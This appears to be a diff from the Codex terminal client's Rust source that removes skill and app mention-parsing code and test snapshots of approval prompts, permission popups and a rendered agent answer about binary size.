self.remove_transcription_placeholder(&id);
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
fn stop_realtime_speaker(&mut self) {
|
||||
if let Some(player) = self.realtime_conversation.audio_player.take() {
|
||||
player.clear();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,16 +0,0 @@
|
||||
pub(crate) struct SessionHeader {
|
||||
model: String,
|
||||
}
|
||||
|
||||
impl SessionHeader {
|
||||
pub(crate) fn new(model: String) -> Self {
|
||||
Self { model }
|
||||
}
|
||||
|
||||
/// Updates the header's model text.
|
||||
pub(crate) fn set_model(&mut self, model: &str) {
|
||||
if self.model != model {
|
||||
self.model = model.to_string();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,452 +0,0 @@
|
||||
use std::collections::HashMap;
|
||||
use std::collections::HashSet;
|
||||
use std::path::Path;
|
||||
use std::path::PathBuf;
|
||||
|
||||
use super::ChatWidget;
|
||||
use crate::app_event::AppEvent;
|
||||
use crate::bottom_pane::SelectionItem;
|
||||
use crate::bottom_pane::SelectionViewParams;
|
||||
use crate::bottom_pane::SkillsToggleItem;
|
||||
use crate::bottom_pane::SkillsToggleView;
|
||||
use crate::bottom_pane::popup_consts::standard_popup_hint_line;
|
||||
use crate::skills_helpers::skill_description;
|
||||
use crate::skills_helpers::skill_display_name;
|
||||
use codex_chatgpt::connectors::AppInfo;
|
||||
use codex_core::connectors::connector_mention_slug;
|
||||
use codex_core::mention_syntax::TOOL_MENTION_SIGIL;
|
||||
use codex_core::skills::model::SkillDependencies;
|
||||
use codex_core::skills::model::SkillInterface;
|
||||
use codex_core::skills::model::SkillMetadata;
|
||||
use codex_core::skills::model::SkillToolDependency;
|
||||
use codex_protocol::protocol::ListSkillsResponseEvent;
|
||||
use codex_protocol::protocol::SkillMetadata as ProtocolSkillMetadata;
|
||||
use codex_protocol::protocol::SkillsListEntry;
|
||||
|
||||
impl ChatWidget {
|
||||
pub(crate) fn open_skills_list(&mut self) {
|
||||
self.insert_str("$");
|
||||
}
|
||||
|
||||
pub(crate) fn open_skills_menu(&mut self) {
|
||||
let items = vec![
|
||||
SelectionItem {
|
||||
name: "List skills".to_string(),
|
||||
description: Some("Tip: press $ to open this list directly.".to_string()),
|
||||
actions: vec![Box::new(|tx| {
|
||||
tx.send(AppEvent::OpenSkillsList);
|
||||
})],
|
||||
dismiss_on_select: true,
|
||||
..Default::default()
|
||||
},
|
||||
SelectionItem {
|
||||
name: "Enable/Disable Skills".to_string(),
|
||||
description: Some("Enable or disable skills.".to_string()),
|
||||
actions: vec![Box::new(|tx| {
|
||||
tx.send(AppEvent::OpenManageSkillsPopup);
|
||||
})],
|
||||
dismiss_on_select: true,
|
||||
..Default::default()
|
||||
},
|
||||
];
|
||||
|
||||
self.bottom_pane.show_selection_view(SelectionViewParams {
|
||||
title: Some("Skills".to_string()),
|
||||
subtitle: Some("Choose an action".to_string()),
|
||||
footer_hint: Some(standard_popup_hint_line()),
|
||||
items,
|
||||
..Default::default()
|
||||
});
|
||||
}
|
||||
|
||||
pub(crate) fn open_manage_skills_popup(&mut self) {
|
||||
if self.skills_all.is_empty() {
|
||||
self.add_info_message("No skills available.".to_string(), /*hint*/ None);
|
||||
return;
|
||||
}
|
||||
|
||||
let mut initial_state = HashMap::new();
|
||||
for skill in &self.skills_all {
|
||||
initial_state.insert(normalize_skill_config_path(&skill.path), skill.enabled);
|
||||
}
|
||||
self.skills_initial_state = Some(initial_state);
|
||||
|
||||
let items: Vec<SkillsToggleItem> = self
|
||||
.skills_all
|
||||
.iter()
|
||||
.map(|skill| {
|
||||
let core_skill = protocol_skill_to_core(skill);
|
||||
let display_name = skill_display_name(&core_skill).to_string();
|
||||
let description = skill_description(&core_skill).to_string();
|
||||
let name = core_skill.name.clone();
|
||||
let path = core_skill.path_to_skills_md;
|
||||
SkillsToggleItem {
|
||||
name: display_name,
|
||||
skill_name: name,
|
||||
description,
|
||||
enabled: skill.enabled,
|
||||
path,
|
||||
}
|
||||
})
|
||||
.collect();
|
||||
|
||||
let view = SkillsToggleView::new(items, self.app_event_tx.clone());
|
||||
self.bottom_pane.show_view(Box::new(view));
|
||||
}
|
||||
|
||||
pub(crate) fn update_skill_enabled(&mut self, path: PathBuf, enabled: bool) {
|
||||
let target = normalize_skill_config_path(&path);
|
||||
for skill in &mut self.skills_all {
|
||||
if normalize_skill_config_path(&skill.path) == target {
|
||||
skill.enabled = enabled;
|
||||
}
|
||||
}
|
||||
self.set_skills(Some(enabled_skills_for_mentions(&self.skills_all)));
|
||||
}
|
||||
|
||||
pub(crate) fn handle_manage_skills_closed(&mut self) {
|
||||
let Some(initial_state) = self.skills_initial_state.take() else {
|
||||
return;
|
||||
};
|
||||
let mut current_state = HashMap::new();
|
||||
for skill in &self.skills_all {
|
||||
current_state.insert(normalize_skill_config_path(&skill.path), skill.enabled);
|
||||
}
|
||||
|
||||
let mut enabled_count = 0;
|
||||
let mut disabled_count = 0;
|
||||
for (path, was_enabled) in initial_state {
|
||||
let Some(is_enabled) = current_state.get(&path) else {
|
||||
continue;
|
||||
};
|
||||
if was_enabled != *is_enabled {
|
||||
if *is_enabled {
|
||||
enabled_count += 1;
|
||||
} else {
|
||||
disabled_count += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if enabled_count == 0 && disabled_count == 0 {
|
||||
return;
|
||||
}
|
||||
self.add_info_message(
|
||||
format!("{enabled_count} skills enabled, {disabled_count} skills disabled"),
|
||||
/*hint*/ None,
|
||||
);
|
||||
}
|
||||
|
||||
pub(crate) fn set_skills_from_response(&mut self, response: &ListSkillsResponseEvent) {
|
||||
let skills = skills_for_cwd(&self.config.cwd, &response.skills);
|
||||
self.skills_all = skills;
|
||||
self.set_skills(Some(enabled_skills_for_mentions(&self.skills_all)));
|
||||
}
|
||||
}
|
||||
|
||||
fn skills_for_cwd(cwd: &Path, skills_entries: &[SkillsListEntry]) -> Vec<ProtocolSkillMetadata> {
|
||||
skills_entries
|
||||
.iter()
|
||||
.find(|entry| entry.cwd.as_path() == cwd)
|
||||
.map(|entry| entry.skills.clone())
|
||||
.unwrap_or_default()
|
||||
}
|
||||
|
||||
fn enabled_skills_for_mentions(skills: &[ProtocolSkillMetadata]) -> Vec<SkillMetadata> {
|
||||
skills
|
||||
.iter()
|
||||
.filter(|skill| skill.enabled)
|
||||
.map(protocol_skill_to_core)
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn protocol_skill_to_core(skill: &ProtocolSkillMetadata) -> SkillMetadata {
|
||||
SkillMetadata {
|
||||
name: skill.name.clone(),
|
||||
description: skill.description.clone(),
|
||||
short_description: skill.short_description.clone(),
|
||||
interface: skill.interface.clone().map(|interface| SkillInterface {
|
||||
display_name: interface.display_name,
|
||||
short_description: interface.short_description,
|
||||
icon_small: interface.icon_small,
|
||||
icon_large: interface.icon_large,
|
||||
brand_color: interface.brand_color,
|
||||
default_prompt: interface.default_prompt,
|
||||
}),
|
||||
dependencies: skill
|
||||
.dependencies
|
||||
.clone()
|
||||
.map(|dependencies| SkillDependencies {
|
||||
tools: dependencies
|
||||
.tools
|
||||
.into_iter()
|
||||
.map(|tool| SkillToolDependency {
|
||||
r#type: tool.r#type,
|
||||
value: tool.value,
|
||||
description: tool.description,
|
||||
transport: tool.transport,
|
||||
command: tool.command,
|
||||
url: tool.url,
|
||||
})
|
||||
.collect(),
|
||||
}),
|
||||
policy: None,
|
||||
path_to_skills_md: skill.path.clone(),
|
||||
scope: skill.scope,
|
||||
}
|
||||
}
|
||||
|
||||
fn normalize_skill_config_path(path: &Path) -> PathBuf {
|
||||
dunce::canonicalize(path).unwrap_or_else(|_| path.to_path_buf())
|
||||
}
|
||||
|
||||
pub(crate) fn collect_tool_mentions(
|
||||
text: &str,
|
||||
mention_paths: &HashMap<String, String>,
|
||||
) -> ToolMentions {
|
||||
let mut mentions = extract_tool_mentions_from_text(text);
|
||||
for (name, path) in mention_paths {
|
||||
if mentions.names.contains(name) {
|
||||
mentions.linked_paths.insert(name.clone(), path.clone());
|
||||
}
|
||||
}
|
||||
mentions
|
||||
}
|
||||
|
||||
pub(crate) fn find_skill_mentions_with_tool_mentions(
|
||||
mentions: &ToolMentions,
|
||||
skills: &[SkillMetadata],
|
||||
) -> Vec<SkillMetadata> {
|
||||
let mention_skill_paths: HashSet<&str> = mentions
|
||||
.linked_paths
|
||||
.values()
|
||||
.filter(|path| is_skill_path(path))
|
||||
.map(|path| normalize_skill_path(path))
|
||||
.collect();
|
||||
|
||||
let mut seen_names = HashSet::new();
|
||||
let mut seen_paths = HashSet::new();
|
||||
let mut matches: Vec<SkillMetadata> = Vec::new();
|
||||
|
||||
for skill in skills {
|
||||
if seen_paths.contains(&skill.path_to_skills_md) {
|
||||
continue;
|
||||
}
|
||||
let path_str = skill.path_to_skills_md.to_string_lossy();
|
||||
if mention_skill_paths.contains(path_str.as_ref()) {
|
||||
seen_paths.insert(skill.path_to_skills_md.clone());
|
||||
seen_names.insert(skill.name.clone());
|
||||
matches.push(skill.clone());
|
||||
}
|
||||
}
|
||||
|
||||
for skill in skills {
|
||||
if seen_paths.contains(&skill.path_to_skills_md) {
|
||||
continue;
|
||||
}
|
||||
if mentions.names.contains(&skill.name) && seen_names.insert(skill.name.clone()) {
|
||||
seen_paths.insert(skill.path_to_skills_md.clone());
|
||||
matches.push(skill.clone());
|
||||
}
|
||||
}
|
||||
|
||||
matches
|
||||
}
|
||||
|
||||
pub(crate) fn find_app_mentions(
|
||||
mentions: &ToolMentions,
|
||||
apps: &[AppInfo],
|
||||
skill_names_lower: &HashSet<String>,
|
||||
) -> Vec<AppInfo> {
|
||||
let mut explicit_names = HashSet::new();
|
||||
let mut selected_ids = HashSet::new();
|
||||
for (name, path) in &mentions.linked_paths {
|
||||
if let Some(connector_id) = app_id_from_path(path) {
|
||||
explicit_names.insert(name.clone());
|
||||
selected_ids.insert(connector_id.to_string());
|
||||
}
|
||||
}
|
||||
|
||||
let mut slug_counts: HashMap<String, usize> = HashMap::new();
|
||||
for app in apps.iter().filter(|app| app.is_enabled) {
|
||||
let slug = connector_mention_slug(app);
|
||||
*slug_counts.entry(slug).or_insert(0) += 1;
|
||||
}
|
||||
|
||||
for app in apps.iter().filter(|app| app.is_enabled) {
|
||||
let slug = connector_mention_slug(app);
|
||||
let slug_count = slug_counts.get(&slug).copied().unwrap_or(0);
|
||||
if mentions.names.contains(&slug)
|
||||
&& !explicit_names.contains(&slug)
|
||||
&& slug_count == 1
|
||||
&& !skill_names_lower.contains(&slug)
|
||||
{
|
||||
selected_ids.insert(app.id.clone());
|
||||
}
|
||||
}
|
||||
|
||||
apps.iter()
|
||||
.filter(|app| app.is_enabled && selected_ids.contains(&app.id))
|
||||
.cloned()
|
||||
.collect()
|
||||
}
|
||||
|
||||
pub(crate) struct ToolMentions {
|
||||
names: HashSet<String>,
|
||||
linked_paths: HashMap<String, String>,
|
||||
}
|
||||
|
||||
fn extract_tool_mentions_from_text(text: &str) -> ToolMentions {
|
||||
extract_tool_mentions_from_text_with_sigil(text, TOOL_MENTION_SIGIL)
|
||||
}
|
||||
|
||||
fn extract_tool_mentions_from_text_with_sigil(text: &str, sigil: char) -> ToolMentions {
|
||||
let text_bytes = text.as_bytes();
|
||||
let mut names: HashSet<String> = HashSet::new();
|
||||
let mut linked_paths: HashMap<String, String> = HashMap::new();
|
||||
|
||||
let mut index = 0;
|
||||
while index < text_bytes.len() {
|
||||
let byte = text_bytes[index];
|
||||
if byte == b'['
|
||||
&& let Some((name, path, end_index)) =
|
||||
parse_linked_tool_mention(text, text_bytes, index, sigil)
|
||||
{
|
||||
if !is_common_env_var(name) {
|
||||
if is_skill_path(path) {
|
||||
names.insert(name.to_string());
|
||||
}
|
||||
linked_paths
|
||||
.entry(name.to_string())
|
||||
.or_insert(path.to_string());
|
||||
}
|
||||
index = end_index;
|
||||
continue;
|
||||
}
|
||||
|
||||
if byte != sigil as u8 {
|
||||
index += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
let name_start = index + 1;
|
||||
let Some(first_name_byte) = text_bytes.get(name_start) else {
|
||||
index += 1;
|
||||
continue;
|
||||
};
|
||||
if !is_mention_name_char(*first_name_byte) {
|
||||
index += 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
let mut name_end = name_start + 1;
|
||||
while let Some(next_byte) = text_bytes.get(name_end)
|
||||
&& is_mention_name_char(*next_byte)
|
||||
{
|
||||
name_end += 1;
|
||||
}
|
||||
|
||||
let name = &text[name_start..name_end];
|
||||
if !is_common_env_var(name) {
|
||||
names.insert(name.to_string());
|
||||
}
|
||||
index = name_end;
|
||||
}
|
||||
|
||||
ToolMentions {
|
||||
names,
|
||||
linked_paths,
|
||||
}
|
||||
}
|
||||
|
||||
fn parse_linked_tool_mention<'a>(
|
||||
text: &'a str,
|
||||
text_bytes: &[u8],
|
||||
start: usize,
|
||||
sigil: char,
|
||||
) -> Option<(&'a str, &'a str, usize)> {
|
||||
let sigil_index = start + 1;
|
||||
if text_bytes.get(sigil_index) != Some(&(sigil as u8)) {
|
||||
return None;
|
||||
}
|
||||
|
||||
let name_start = sigil_index + 1;
|
||||
let first_name_byte = text_bytes.get(name_start)?;
|
||||
if !is_mention_name_char(*first_name_byte) {
|
||||
return None;
|
||||
}
|
||||
|
||||
let mut name_end = name_start + 1;
|
||||
while let Some(next_byte) = text_bytes.get(name_end)
|
||||
&& is_mention_name_char(*next_byte)
|
||||
{
|
||||
name_end += 1;
|
||||
}
|
||||
|
||||
if text_bytes.get(name_end) != Some(&b']') {
|
||||
return None;
|
||||
}
|
||||
|
||||
let mut path_start = name_end + 1;
|
||||
while let Some(next_byte) = text_bytes.get(path_start)
|
||||
&& next_byte.is_ascii_whitespace()
|
||||
{
|
||||
path_start += 1;
|
||||
}
|
||||
if text_bytes.get(path_start) != Some(&b'(') {
|
||||
return None;
|
||||
}
|
||||
|
||||
let mut path_end = path_start + 1;
|
||||
while let Some(next_byte) = text_bytes.get(path_end)
|
||||
&& *next_byte != b')'
|
||||
{
|
||||
path_end += 1;
|
||||
}
|
||||
if text_bytes.get(path_end) != Some(&b')') {
|
||||
return None;
|
||||
}
|
||||
|
||||
let path = text[path_start + 1..path_end].trim();
|
||||
if path.is_empty() {
|
||||
return None;
|
||||
}
|
||||
|
||||
let name = &text[name_start..name_end];
|
||||
Some((name, path, path_end + 1))
|
||||
}
|
||||
|
||||
fn is_common_env_var(name: &str) -> bool {
|
||||
let upper = name.to_ascii_uppercase();
|
||||
matches!(
|
||||
upper.as_str(),
|
||||
"PATH"
|
||||
| "HOME"
|
||||
| "USER"
|
||||
| "SHELL"
|
||||
| "PWD"
|
||||
| "TMPDIR"
|
||||
| "TEMP"
|
||||
| "TMP"
|
||||
| "LANG"
|
||||
| "TERM"
|
||||
| "XDG_CONFIG_HOME"
|
||||
)
|
||||
}
|
||||
|
||||
fn is_mention_name_char(byte: u8) -> bool {
|
||||
matches!(byte, b'a'..=b'z' | b'A'..=b'Z' | b'0'..=b'9' | b'_' | b'-')
|
||||
}
|
||||
|
||||
fn is_skill_path(path: &str) -> bool {
|
||||
!path.starts_with("app://") && !path.starts_with("mcp://") && !path.starts_with("plugin://")
|
||||
}
|
||||
|
||||
fn normalize_skill_path(path: &str) -> &str {
|
||||
path.strip_prefix("skill://").unwrap_or(path)
|
||||
}
|
||||
|
||||
fn app_id_from_path(path: &str) -> Option<&str> {
|
||||
path.strip_prefix("app://")
|
||||
.filter(|value| !value.is_empty())
|
||||
}
|
||||
-6
@@ -1,6 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: lines_to_single_string(&approved_lines)
|
||||
---
|
||||
• Added foo.txt (+1 -0)
|
||||
1 +hello
|
||||
-17
@@ -1,17 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: terminal.backend().vt100().screen().contents()
|
||||
---
|
||||
|
||||
|
||||
Would you like to run the following command?
|
||||
|
||||
Reason: this is a test reason such as one that would be produced by the model
|
||||
|
||||
$ echo hello world
|
||||
|
||||
› 1. Yes, proceed (y)
|
||||
2. Yes, and don't ask again for commands that start with `echo hello world` (p)
|
||||
3. No, and tell Codex what to do differently (esc)
|
||||
|
||||
Press enter to confirm or esc to cancel
|
||||
-16
@@ -1,16 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: contents
|
||||
---
|
||||
|
||||
|
||||
Would you like to run the following command?
|
||||
|
||||
$ python - <<'PY'
|
||||
print('hello')
|
||||
PY
|
||||
|
||||
› 1. Yes, proceed (y)
|
||||
2. No, and tell Codex what to do differently (esc)
|
||||
|
||||
Press enter to confirm or esc to cancel
|
||||
-13
@@ -1,13 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: terminal.backend().vt100().screen().contents()
|
||||
---
|
||||
Would you like to run the following command?
|
||||
|
||||
$ echo hello world
|
||||
|
||||
› 1. Yes, proceed (y)
|
||||
2. Yes, and don't ask again for commands that start with `echo hello world` (p)
|
||||
3. No, and tell Codex what to do differently (esc)
|
||||
|
||||
Press enter to confirm or esc to cancel
|
||||
-20
@@ -1,20 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: terminal.backend().vt100().screen().contents()
|
||||
---
|
||||
|
||||
|
||||
Would you like to make the following edits?
|
||||
|
||||
Reason: The model wants to apply changes
|
||||
|
||||
README.md (+2 -0)
|
||||
|
||||
1 +hello
|
||||
2 +world
|
||||
|
||||
› 1. Yes, proceed (y)
|
||||
2. Yes, and don't ask again for these files (a)
|
||||
3. No, and tell Codex what to do differently (esc)
|
||||
|
||||
Press enter to confirm or esc to cancel
|
||||
-15
@@ -1,15 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
assertion_line: 7368
|
||||
expression: popup
|
||||
---
|
||||
Update Model Permissions
|
||||
|
||||
› 1. Default Codex can read and edit files in the current workspace, and
|
||||
run commands. Approval is required to access the internet or
|
||||
edit other files.
|
||||
2. Full Access Codex can edit files outside this workspace and access the
|
||||
internet without asking for approval. Exercise caution when
|
||||
using.
|
||||
|
||||
Press enter to confirm or esc to go back
|
||||
-18
@@ -1,18 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
assertion_line: 7365
|
||||
expression: popup
|
||||
---
|
||||
Update Model Permissions
|
||||
|
||||
› 1. Read Only (current) Codex can read files in the current workspace.
|
||||
Approval is required to edit files or access the
|
||||
internet.
|
||||
2. Default Codex can read and edit files in the current
|
||||
workspace, and run commands. Approval is required to
|
||||
access the internet or edit other files.
|
||||
3. Full Access Codex can edit files outside this workspace and
|
||||
access the internet without asking for approval.
|
||||
Exercise caution when using.
|
||||
|
||||
Press enter to confirm or esc to go back
|
||||
-23
@@ -1,23 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
assertion_line: 3945
|
||||
expression: popup
|
||||
---
|
||||
Update Model Permissions
|
||||
|
||||
› 1. Read Only (current) Codex can read files in the current
|
||||
workspace. Approval is required to edit
|
||||
files or access the internet.
|
||||
2. Default (non-admin sandbox) Codex can read and edit files in the
|
||||
current workspace, and run commands.
|
||||
Approval is required to access the
|
||||
internet or edit other files.
|
||||
3. Full Access Codex can edit files outside this
|
||||
workspace and access the internet without
|
||||
asking for approval. Exercise caution
|
||||
when using.
|
||||
|
||||
The non-admin sandbox protects your files and prevents network access under
|
||||
most circumstances. However, it carries greater risk if prompt injected. To
|
||||
upgrade to the default sandbox, run /setup-default-sandbox.
|
||||
Press enter to confirm or esc to go back
|
||||
-8
@@ -1,8 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: before
|
||||
---
|
||||
Apps
|
||||
Loading installed and available apps...
|
||||
|
||||
› Loading apps... This updates when the full list is ready.
|
||||
-153
@@ -1,153 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: "lines[start_idx..].join(\"\\n\")"
|
||||
---
|
||||
• I need to check the codex-rs repository to explain why the project's binaries
|
||||
are large. The user is likely seeking specifics about the setup: are Rust
|
||||
builds static, what features are enabled, and is debug information included?
|
||||
It could be due to static linking, included OpenSSL, or how panic handling
|
||||
is set up. I should look into the Cargo.toml file to confirm features and
|
||||
profiles without needing to edit any code. Let's get started on this!
|
||||
|
||||
─ Worked for 0s ────────────────────────────────────────────────────────────────
|
||||
|
||||
• I’m going to scan the workspace and Cargo manifests to see build profiles and
|
||||
dependencies that impact binary size. Then I’ll summarize the main causes.
|
||||
|
||||
• Explored
|
||||
└ List ls -la
|
||||
Read Cargo.toml
|
||||
|
||||
• I'm reviewing the workspace's release profile, which has settings like
|
||||
lto=fat, strip=symbols, and codegen-units=1 to reduce binary size. However, it
|
||||
seems that "strip = symbols" only removes symbols, not debug information. In
|
||||
Rust 1.73+, both "symbols" and "debuginfo" stripping options are available. I
|
||||
should check whether using these results in a smaller binary. I’ll also skim
|
||||
through crates for heavy dependencies in Cargo.toml, including cli, core,
|
||||
exec, linux-sandbox, tui, login, ollama, and mcp.
|
||||
|
||||
• Ran for d in ansi-escape apply-patch arg0 cli common core exec execpolicy
|
||||
│ file-search linux-sandbox login mcp-client mcp-server ollama
|
||||
│ tui; do echo "--- $d/Cargo.toml"; sed -n '1,200p' $d/Cargo.toml; echo;
|
||||
│ … +1 lines
|
||||
└ --- ansi-escape/Cargo.toml
|
||||
[package]
|
||||
… +243 lines
|
||||
] }
|
||||
tracing = { version
|
||||
|
||||
• Explored
|
||||
└ Read Cargo.toml
|
||||
|
||||
• I’m evaluating how binary size is influenced by various factors. There are
|
||||
many binaries, such as codex and codex-exec, which include dependencies by
|
||||
default, pulling in features like Tokio and hyper. For instance, reqwest
|
||||
includes default features like TLS through rustls. If default features remain
|
||||
enabled, it inflates the size with many additional components. I notice
|
||||
that for musl targets, using vendored builds of OpenSSL could significantly
|
||||
increase binary size. This is quite the intricate web of dependencies!
|
||||
|
||||
Analyzing musl and binary size
|
||||
|
||||
I’m considering the implications of building for musl with static linking.
|
||||
In this case, OpenSSL might come into play through some crates, but reqwest
|
||||
defaults to using rustls, although openssl-sys vendored could increase
|
||||
binary size. It’s interesting to think about whether they’re targeting musl,
|
||||
especially since it seems they might often be building for Mac and Linux with
|
||||
dynamic linking instead.
|
||||
|
||||
I also realize there’s a difference between debug and release builds — release
|
||||
should be smaller due to optimizations, but if they’re defaulting to debug
|
||||
builds, that could lead to much larger binaries.
|
||||
|
||||
Assessing crate impacts on size
|
||||
|
||||
I need to be precise when analyzing binary sizes from various crates. Some
|
||||
crates, like ratatui-image, include heavy features such as libjpeg decoders,
|
||||
which can really bulk things up. Then there are the tree-sitter crates that
|
||||
contain large static grammar tables, adding significant size. The starlark
|
||||
crate and tracing-subscriber also contribute to size increases.
|
||||
|
||||
With static linking per binary being standard in Rust, it leads to multiple
|
||||
copies of the same dependencies unless cdylibs are used. That makes the
|
||||
compile times longer, but using LTO helps reduce bloat somewhat through
|
||||
deduplication.
|
||||
|
||||
Evaluating binary size factors
|
||||
|
||||
Having multiple binaries indeed increases the overall size significantly.
|
||||
I'm considering options like upgrading to "opt-level = 'z'" or using
|
||||
"strip=debuginfo" for reducing size. It's interesting that while the profile
|
||||
only sets symbols for stripping, not debuginfo, this could inflate sizes if
|
||||
retained in release builds.
|
||||
|
||||
The distinction between "symbols" and "debuginfo" is critical; "symbols"
|
||||
keeps debug information which may not align with the goal of minimizing
|
||||
size. I’d like to verify with the Rust documentation, but my network access
|
||||
is restricted.
|
||||
|
||||
Explaining large binary sizes
|
||||
|
||||
I’m analyzing why binaries in this project are so large. The primary reasons
|
||||
include monolithic static linking, where each binary includes the full
|
||||
dependency graph without shared libraries. Heavy dependencies such as reqwest,
|
||||
hyper, and TLS components also contribute significantly to size, along with
|
||||
image decoders and other libraries.
|
||||
|
||||
Using MUSL targets means vendored OpenSSL can drastically increase the
|
||||
size due to static linking. Furthermore, if the release profile keeps debug
|
||||
information due to using "strip = symbols," that can lead to larger binaries
|
||||
as well. It’s a mix of several factors, including panic strategies and
|
||||
platform-specific linking behavior.
|
||||
|
||||
Identifying binary size contributors
|
||||
|
||||
I’m considering why binaries are still large even without static linking. The
|
||||
tracing-subscriber crate potentially adds weight because it includes regex,
|
||||
though it can sometimes use a lighter version. References from files like
|
||||
"core/Cargo.toml" show dependencies like reqwest and tokio, while the tui uses
|
||||
the image crate.
|
||||
|
||||
To present this clearly, I’ll format the final answer with two main sections:
|
||||
"Main Causes" and "Build-Mode Notes." I can also include brief suggestions for
|
||||
reducing size, but I want to stay focused on answering the user's question.
|
||||
|
||||
─ Worked for 0s ────────────────────────────────────────────────────────────────
|
||||
|
||||
• Here’s what’s driving size in this workspace’s binaries.
|
||||
|
||||
Main Causes
|
||||
|
||||
- Static linking style: Each bin (codex, codex-tui, codex-exec, codex-mcp-
|
||||
server, etc.) statically links its full dependency graph, so common code isn’t
|
||||
shared at runtime across executables.
|
||||
- Heavy deps (HTTP/TLS): reqwest brings in Hyper, HTTP/2, compressors,
|
||||
and a TLS stack (rustls by default; OpenSSL on musl). In core, login, tui,
|
||||
and ollama you enable reqwest with json/stream, which still pulls a large
|
||||
transitive set.
|
||||
- Image/terminal stack: codex-tui includes image (with jpeg), ratatui,
|
||||
crossterm, and ratatui-image, which together contribute significant code size
|
||||
(decoders, pixel ops, terminal backends).
|
||||
- Parsers/VMs: tree-sitter + tree-sitter-bash (in core and apply-patch) and
|
||||
starlark (in execpolicy) include sizeable parser/VM tables and runtimes.
|
||||
- Tokio runtime: Broad tokio features (rt-multi-thread, macros, process,
|
||||
signal) across many crates inflate code size even if only subsets are used
|
||||
per bin.
|
||||
- Panic + backtraces: Default panic = unwind and backtrace support keep
|
||||
unwinding tables and symbols that add weight.
|
||||
- Per-target OpenSSL (musl): For *-unknown-linux-musl, core enables openssl-
|
||||
sys with vendored, compiling OpenSSL into the binary—this adds multiple
|
||||
megabytes per executable.
|
||||
|
||||
Build-Mode Notes
|
||||
|
||||
- Release settings: You use lto = "fat" and codegen-units = 1 (good for size),
|
||||
but strip = "symbols" keeps debuginfo. Debuginfo is often the largest single
|
||||
contributor; if you build in release with that setting, binaries can still
|
||||
be large.
|
||||
- Debug builds: cargo build (dev profile) includes full debuginfo, no LTO, and
|
||||
assertions—outputs are much larger than cargo build --release.
|
||||
|
||||
If you want, I can outline targeted trims (e.g., strip = "debuginfo", opt-
|
||||
level = "z", panic abort, tighter tokio/reqwest features) and estimate impact
|
||||
per binary.
|
||||
-5
@@ -1,5 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: terminal.backend()
|
||||
---
|
||||
" "
|
||||
-6
@@ -1,6 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: terminal.backend()
|
||||
---
|
||||
" "
|
||||
" "
|
||||
-7
@@ -1,7 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: terminal.backend()
|
||||
---
|
||||
" "
|
||||
" "
|
||||
" "
|
||||
-5
@@ -1,5 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: terminal.backend()
|
||||
---
|
||||
" "
|
||||
-6
@@ -1,6 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: terminal.backend()
|
||||
---
|
||||
" "
|
||||
" "
|
||||
-7
@@ -1,7 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: terminal.backend()
|
||||
---
|
||||
" "
|
||||
" "
|
||||
" "
|
||||
-44
@@ -1,44 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: term.backend().vt100().screen().contents()
|
||||
---
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
• I’m going to search the repo for where “Change Approved” is rendered to update
|
||||
that view.
|
||||
|
||||
• Explored
|
||||
└ Search Change Approved
|
||||
Read diff_render.rs
|
||||
|
||||
• Investigating rendering code (0s • esc to interrupt)
|
||||
|
||||
|
||||
› Summarize recent commits
|
||||
|
||||
tab to queue message 100% context left
|
||||
-18
@@ -1,18 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: visual
|
||||
---
|
||||
• -- Indented code block (4 spaces)
|
||||
SELECT *
|
||||
FROM "users"
|
||||
WHERE "email" LIKE '%@example.com';
|
||||
|
||||
```sh
|
||||
printf 'fenced within fenced\n'
|
||||
```
|
||||
|
||||
{
|
||||
// comment allowed in jsonc
|
||||
"path": "C:\\Program Files\\App",
|
||||
"regex": "^foo.*(bar)?$"
|
||||
}
|
||||
-28
@@ -1,28 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: term.backend().vt100().screen().contents()
|
||||
---
|
||||
|
||||
• Working (0s • esc to interrupt)
|
||||
|
||||
• Queued follow-up messages
|
||||
↳ Hello, world! 0
|
||||
↳ Hello, world! 1
|
||||
↳ Hello, world! 2
|
||||
↳ Hello, world! 3
|
||||
↳ Hello, world! 4
|
||||
↳ Hello, world! 5
|
||||
↳ Hello, world! 6
|
||||
↳ Hello, world! 7
|
||||
↳ Hello, world! 8
|
||||
↳ Hello, world! 9
|
||||
↳ Hello, world! 10
|
||||
↳ Hello, world! 11
|
||||
